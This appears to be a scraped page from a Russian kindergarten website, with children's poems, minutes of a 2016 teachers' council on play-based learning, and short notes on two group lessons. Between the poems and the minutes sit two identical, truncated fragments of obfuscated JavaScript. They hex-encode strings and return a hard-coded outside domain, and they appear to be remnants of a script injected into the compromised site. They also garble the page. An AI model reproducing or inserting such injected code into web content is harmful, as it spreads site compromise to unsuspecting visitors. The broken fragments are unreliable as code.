Автор: Редактор

 

ГРУЗОВИК Нет, напрасно мы решили Прокатить кота в машине: Кот кататься не привык — Опрокинул грузовик.   ВОТ ТАК ЗАЩИТНИК!   Я свою сестренку Лиду Никому не дам в обиду! Я живу с ней очень дружно, Очень я ее люблю.   А когда мне будет нужно, Я и сам ее побью.   УТИ-УТИ   Рано, рано утречком Вышла мама-уточка Поучить утят.   Уж она их учит, учит! Вы плывите, ути-ути, Плавно, в ряд.   Хоть сыночек не велик, Не велик, Мама трусить не велит, Не велит.   — Плыви, плыви, Утёныш, Не бойся, Не утонешь.

ЧУДЕСА   Чудеса! — сказала Люба.- Шуба длинная была, В сундуке лежала шуба, Стала шуба мне мала.   ЛЯГУШАТА   Пять зелёных лягушат В воду броситься спешат — Испугались цапли! А меня они смешат: Я же этой цапли Не боюсь ни капли!   СМЕШНОЙ ЦВЕТОК   Смешной цветок поставлен в вазу! Его не полили ни разу, Ему не нужно влаги, Он сделан из бумаги.   А почему такой он важный? А потому, что он бумажный!

 

Воспитатель 8 группы Гаврилова М.В.

 

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

«Игра – ведущий вид деятельности дошкольника».

С этим положением никто не спорит. Но как это реализуется в современной практике?

27 января  2016 года прошло заседание педагогического совета по теме: «Развитие игровой деятельности в условиях реализации Федеральных государственных образовательных стандартов».
Цель: повысить значимость игры в воспитательно-образовательном процессе ДОУ, как основного вида деятельности детей.

Повестка  педсовета:

1.Современная практика организации игровой деятельности.

Анализ анкетирования педагогов.

Отв.Г.Н.Коваленко

2.Игровые технологии в детском саду.

Отв.Л.И.Лишавская

3.Особенности игры в раннем возрасте.

Отв. Е.В.Шумкова

4.Технология сюжетно-ролевых игр в старшей группе.

Отв.И.В.Ситникова

5.Обобщение опыта работы: по теме: «Формирование речи детей в игровой деятельности».

Отв.А.А.Пронина

6.Обобщение опыта работы: по теме: «Театрализованная игра, как средство развития речи детей».

Отв.Р.Ф.Жданова

7.Игра: «Поле чудес»

Отв.Е.В.Бурма

Решение педсовета:

1)     Вводить игры и игровые приемы разнообразного содержания во все режимные моменты, что должно быть отражено в рабочих планах. Уделить особое внимание организации и проведению подвижных игр на прогулке.

2)      В целях совершенствования условий для организации сюжетно — ролевых игр в группах пополнить развивающую среду атрибуты для игр в соответствии с возрастом.

3)      Систематически планировать и проводить сюжетно — ролевые игры в соответствии с программными требованиями.

4)      Информировать родителей о значимости сюжетно-ролевой игры в жизни ребёнка, вовлекать родителей в организацию игровой деятельности детей.

Подготовить консультацию для родителей о значении сюжетных игр для детей дошкольного возраста.

 

 

27 января  в  старшей группе  №3 прошла непрерывная непосредственно образовательная деятельность  «Русская печь», образовательная область:  «Социально-коммуникативное развитие». Патриотическое воспитание.

Программное содержание занятия: воспитывать интерес к народному быту, формировать образную речь, употреблять в разговорной речи пословицы,  поговорки; обогащать словарь названиями предметов быта: самовар, ухват, кочерга, печь устьице, чугунок,  сарафан, лапти, прялка;  развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. 

 

Воспитатель:

Т.А.Тарасова

 

 

26 января  в  старшей группе  №4 прошла непрерывная непосредственно образовательная деятельность  «Служба спасения 01», образовательная область:  «Социально-коммуникативное развитие». Формирование основ безопасности.

Программное содержание занятия: сформировать у детей понятие  «Пожарная безопасность, закрепить знания о причинах возникновения пожара; умение осознанно действовать в экстремальных ситуациях, связанных с возникновением пожара, закрепить знания о труде пожарных, воспитывать уважение и интерес к этой профессии; развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. 

 

Воспитатель:

А.А.Пронина